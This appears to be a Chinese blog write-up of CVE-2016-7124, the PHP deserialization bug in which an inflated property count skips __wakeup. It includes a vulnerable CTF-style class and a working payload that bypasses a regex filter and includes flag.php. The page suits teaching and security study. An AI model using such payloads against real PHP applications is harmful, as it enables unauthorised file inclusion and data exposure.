首页 > 编程语言 >cve-2016-7124 序列化漏洞 php _weakup()

cve-2016-7124 序列化漏洞 php _weakup()

时间:2024-03-15 15:12:23浏览次数:17  
标签:__ php cmd cve weakup flag file 序列化

版本范围

php5<5.6.25

php7<7.0.10

原因

魔法函数 _weakup 调用顺序:
_weakup => unserilize()
如果 对象属性个数:O:4:"test":3 == 3
大于真是 属性个数:3>2,
则会跳过 _weakup() 的执行

O:4:"test":3:{s:2:"v1";s:6:"hxdyjx";s:2:"v2";s:3:"123";}

示例

<?php
error_reporting(0);
class secret{
    var $file='index.php';

    public function __construct($file){
        $this->file=$file;
    }

    function __destruct(){
        include_once($this->file);
        echo $flag;
    }

    function __wakeup(){
        $this->file='index.php';
    }
}
$cmd='O:+6:"secret":2:{s:4:"file";s:8:"flag.php";}';
if (!isset($cmd)){
    highlight_file(__FILE__);
}
else{
    if (preg_match('/[oc]:\d+:/i',$cmd)){
        echo "Are you daydreaming?";
    }
    else{
        unserialize($cmd);
    }
}
//sercet in flag.php
?>

payload

O:+6:"secret":2:{s:4:"file";s:8:"flag.php";}

payload 这样构造就 绕过了 _wakup()

标签:__,php,cmd,cve,weakup,flag,file,序列化
From: https://www.cnblogs.com/hxdyjx/p/18075425

相关文章

  • 【Web】浅聊Hessian反序列化之Resin的打法——远程类加载
    目录前言原理分析XString:触发恶意类toStringQName的设计理念?远程恶意类加载Context:ContinuationContextQName:恶意toString利用hash相等构造EXP前言精神状态有点糟糕,随便学一下吧首先明确一个朴素的认知:当Hessian反序列化Map类型的对象的时候,会自动调用其put方法,而......
  • Java序列化和反序列化机制
    Java的序列化和反序列化机制问题导入:在阅读ArrayList源码的时候,注意到,其内部的成员变量动态数组elementData被Java中的关键字transient修饰transient关键字意味着Java在序列化时会跳过该字段(不序列化该字段)而Java在默认情况下会序列化类(实现了Java.io.Serializable接口......
  • PHP反序列化总结
    0x01.前言本文首发于先知:https://xz.aliyun.com/t/12507。花些时间把四种常见的php反序列化总结了一遍,各自都找了简单示例和例题,参考了一些师傅的链接加上自己的理解,参考链接放在文末0x02.反序列化是什么说到反序列化,经常会想到serialize(),unserialize()这两个函数。我看到......
  • PHP-CGI远程1代码执行漏洞(CVE-2012-1823)
    影响版本php<5.3.12orphp<5.4.2测试环境cdphp/cve-2012-1823docker-composeup-d访问http://your-ip:8080/index.php?-s即爆出源码,说明漏洞存在。发送如下数据包,可见Body中的代码已被执行:POST/index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a......
  • [Dubbo] Dubbo 反序列化将Pair转化成HashMap的问题
    问题描述Dubbo在3.2.x版本中,类检查级别默认是STRICT3.1版本中默认为WARN告警级别,3.2版本中默认为STRICT严格检查级别。不配置的情况下,会将名单以外的类型转化成Map。如何支持Pair的序列化和反序列化dubbo.application.serialize-check-status=WARN新建允许的名......
  • Rust解析JSON,结构体序列化和反序列化
    Rust参考教程:HereJSON一种常用的由键值对组成的数据对象;本文将通过多个例子讲解在Rust中如何解析JSON内容,以及如何将结构体转换成JSON字符串。在Rust中解析JSON文本通常需要使用一个JSON库。Rust标准库中有一个名为serde的库,它提供了序列化和反序列化结构体和其他数据类型的......
  • Serializer 序列化 -----视图层传入一个变量到序列化器的方法
    fromrest_frameworkimportserializersclassMyModelSerializer(serializers.ModelSerializer):classMeta:model=MyModelfields=['field1','field2']defto_representation(self,instance):......
  • 【Web】浅聊XStream反序列化本源之恶意动态代理注入
    目录简介原理复现具体分析之前我们反序列化了个什么?XStream反序列化的朴素通识具体分析第一步:unmarshal解组第二步:readClassType获取动态代理类的Class对象第三步:调用convertAnother对动态代理类进行实例化第四步:调用动态代理类方法触发invoke前文:【Java】萌新的......
  • 复现反序列化
    1、复现shiro的反序列化漏洞,实现反弹shell2、演示渗透测试和打点的手段,说明二者的区别一个指定了资产范围,一个从公司名开始收集3、描述hw蓝方有哪些组,工作内容有什么监测组:看态势感知,waf,写日报判断告警是否为真实告警研判组:处置组:根据真实告警,防火墙封禁攻击IP溯源组:尝试......
  • CVE-2023-48906
    github:https://github.com/bluekitchen/btstack/issues/546Inthebtstacksourcecode,wecanfindaninterestingpieceofcode.charchar_for_nibble(intnibble){staticconstchar*char_to_nibble="0123456789ABCDEF";if(nibble<1......